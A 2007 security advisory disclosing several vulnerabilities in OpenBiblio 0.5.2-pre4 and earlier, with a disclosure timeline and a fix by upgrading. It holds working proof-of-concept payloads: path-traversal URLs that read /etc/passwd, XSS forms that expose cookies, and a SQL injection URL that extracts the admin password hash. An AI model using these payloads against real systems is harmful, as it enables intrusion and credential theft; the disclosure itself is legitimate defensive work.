- Security Advisory -



 - OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities -
----------------------------------------------------


Product:   OpenBiblio
Version:  Version 0.5.2 Prerelease 4 and prior is affected
Url:     http://obiblio.sourceforge.net/
Affected by:  Full path disclosure, local file include, phpinfo
disclosure, multiple Cross Site Scripting, SQL injection




I. Introduction.

  OpenBiblio is an easy to use, automated library system written in PHP
containing OPAC, circulation,
  cataloging, and staff administration functionality.
  OpenBiblio library administration offers an intuitive interface with
broad category tabs and sidebar.



II. Description


  OpenBiblio suffers multiple bugs.



  
  1) Local File Include vulnerability: its posible to include any
arbitrary local file using shared/help.php file

  - Code -
    if (isset($_GET["page"])) {
          $page = $_GET["page"];
    } else {
          $page = "contents";
      }
      include("../locale/".OBIB_LOCALE."/help/".$page.".php");
  
  - PoC -
    http://site/openbiblio/shared/help.php?page=../../../../../../etc/passwd%00





  2) Local File Include (2) (only works with register_globals On and
for non php files magic_quotes_gpc must be Off)
  
  - Code -
    <?php include("../navbars/".$tab.".php");?>
  
  - PoC -
    http://site/openbiblio/shared/header.php?tab=../../../etc/passwd%00    




  
  3) This link will show phpinfo
  
    http://site/openbiblio/phpinfo.php

    Remove it!



  4) Path Disclosure
     
    Some samples:
    
    http://site/openbiblio/shared/footer.php
    Fatal error: Call to a member function on a non-object in
/httpdocs/openbiblio/shared/footer.php on line 18

    http://site/openbiblio/circ/mbr_fields.php
    Fatal error: Call to a member function on a non-object in
/httpdocs/openbiblio/circ/mbr_fields.php on line 14

  
    http://site/openbiblio/admin/custom_marc_form_fields.php
    Fatal error: Cannot instantiate non-existent class: dmquery in
/httpdocs/openbiblio/admin/custom_marc_form_fields.php on line 14


    Please, turn display_errors to Off in php.ini



  6) Multiple Cross Site Scripting, an attacker can perform an XSS
attack that allows him to access the targeted user cookies


  Some samples:

    http://site/openbiblio/admin/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS]
  
      http://site/openbiblio/admin/theme_del_confirm.php?themeid=6&name=[XSS]

    In /admin/theme_preview.php an attacker can inject an XSS in the var
themeName with method POST.
    here is a poc:

  
    <form action="  http://site/openbiblio/admin/theme_preview.php" method="post">
      <input type="text" name="themeName" size="40" value="<script>alert(
 document.cookie);</script>"><br><br>
      <input type="submit" value="doit">
    </form>



  
  try with: <script>alert(document.cookie);</script>





  6) SQL injection (session with report rol is needed to exploit this bug)


  Any user with report rol can access any field of the database,
including admin md5 hash.
  

    http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due+Member+List&sql=%0A++++[SQL]%0A++

  with this an attacker can get the md5 admin password:


    http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due+Member+List&sql=%0A++++select+username,pwd+from+staff%20where+userid=1%0A++
  
  then click "run report" and view the results, besides, you can choose
between html and csv format ;)

    
  staff.username  staff.pwd
  admin   21232f297a57a5a743894a0e4a801fc3



III. Timeline

  20/08/2006 - Bugs discovered
  25/08/2006 - Vendor Contacted
  30/08/2006 - Release 0.5.2 (parcial patch)
  21/02/2007 - Release 0.6.0 (full patch)
  28/12/2007 - Advisory Disclosure




IV. Solution
  
  Upgrade to 0.6.0 from http://obiblio.sourceforge.net/
  Good work! :)


V. Credits

  Juan Galiana <jgaliana gmail com>


Regards